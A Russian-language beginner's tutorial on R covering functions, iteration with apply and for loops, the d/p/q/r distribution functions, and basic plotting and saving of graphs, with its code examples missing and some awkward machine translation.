Чтобы увидеть команды, составляющие функцию, просто введите

Обратите внимание, что скобки не используются. Если вы хотите создать функцию, которая возвращает несколько выходных данных, вот простой пример.

Теперь, если вы наберете:

Итерация

При написании собственной функции по возможности избегайте итераций; воспользоваться преимуществами векторизованной математики R и такими функциями, как apply. Он последовательно применяет выбранную вами функцию к каждой строке (или столбцу) матрицы. Давайте создадим простую матрицу и найдем среднее значение для каждой строки/столбца с помощью команды «Применить».


Иногда итерации не избежать. В этой ситуации полезны команды R for или while . Вот пример использования for внутри функции

Обратите внимание, что в R есть собственная функция sum, которая выполняет эту задачу. Он будет работать намного быстрее, чем этот, особенно на больших векторах.

Распространения

Данные из различных распределений можно легко рассчитать или смоделировать с помощью R. Функции названы так, что первая буква указывает на то, что они вычисляют или моделируют (d=функция плотности, p=функция распределения, q=квантиль, r=случайная генерация). ), а последняя часть имени функции определяет распределение (бета = бета, chisq = хи-квадрат, exp = экспоненциальное, f = f, gamma = гамма, logis = логистическое, norm = normal, t = t ученика, unif = однородный, Вейбулл = Вейбулл, бином = бином, nбином = отрицательный бином, пуа = Пуассон). Например, функция qnorm возвращает квантили нормального распределения.

Вычисление функции плотности вероятности

Чтобы вычислить значение p.d.f. для N(2,25) с использованием квантили x введите:

Вычисление кумулятивной функции плотности

Чтобы рассчитать значение c.d.f. для N(2,25) с использованием квантили x введите:

Определение квантиля

Чтобы вычислить квантиль, связанный с N(2,25), используя вероятность x, введите:

Создание случайного значения из распределения

Чтобы сгенерировать 10 случайных значений из N(2,25), введите:

Графика

Открытие графического окна

Чтобы открыть/закрыть графическое устройство:

Обратите внимание, что вам не нужно открывать графическое устройство, чтобы использовать функцию рисования. Графическое устройство X11() открывается автоматически при вызове функции рисования.

Распространенные типы графиков

Существует несколько высокоуровневых функций построения графиков, которые можно использовать для построения графиков. Например, гистограмму можно построить, набрав:

Чтобы построить два объекта R относительно друг друга (называемых диаграммой рассеяния), введите:

Функции построения графиков, такие как hist или plot, имеют множество функций, которые можно изменить в соответствии с нужным типом графика. Например, предположим, что вам нужен линейный график вместо точечной диаграммы с осью X, помеченной как «Значения X». Тип:

Дополнительную информацию см. в отдельных файлах справки.

Вы также можете добавить другие графики к существующему графику (например, наложить график).

  • Чтобы добавить прямую линию с точкой пересечения по оси Y, 5, и наклоном, 1, к приведенному выше графику, введите:
  • Чтобы добавить линейный график к приведенному выше графику, введите:
  • Чтобы добавить точки к приведенному выше графику, введите:

Обратите внимание, что при использовании функций, линий или точек любые графические элементы исходного графика (например, заголовок, метки осей, диапазоны осей) нельзя изменить без повторного запуска исходного графика.Это заставляет значения, указанные для координат x и y в функциях, линиях или точках, находиться в пределах диапазона исходного графика.

Изменение графических функций

Графические графики, такие как 'hist' или 'plot', имеют много дополнительных графических функций, которые специально не указаны в файлах справки. Например, введите:

чтобы предоставить следующий файл справки.

Область, выделенная синим цветом, указывает на наличие других графических параметров, которые можно указывать в качестве аргументов. Чтобы увидеть их, введите:

Есть два способа установить графические параметры, указанные параметром 'par'.

Вот пример. Обычный параметр, который вы можете захотеть установить, — отображение нескольких графиков на одной странице. Предположим, вам нужно 6 графиков на одной странице, по 2 графика в строке (всего 3 строки), и графики размещаются на графике путем заполнения каждой строки по порядку. Вы должны ввести:

Сохранение/печать графиков

Простые способы сохранения/печати графиков в R приведены ниже. Для получения более подробной информации о сохранении/печати в R см. раздел 5.2 в советах по R.

  • Создайте график, используя любую из функций построения графиков в R. Например, введите
  • Чтобы сохранить этот график в файле postscript с именем graph1.ps, введите

Читайте также: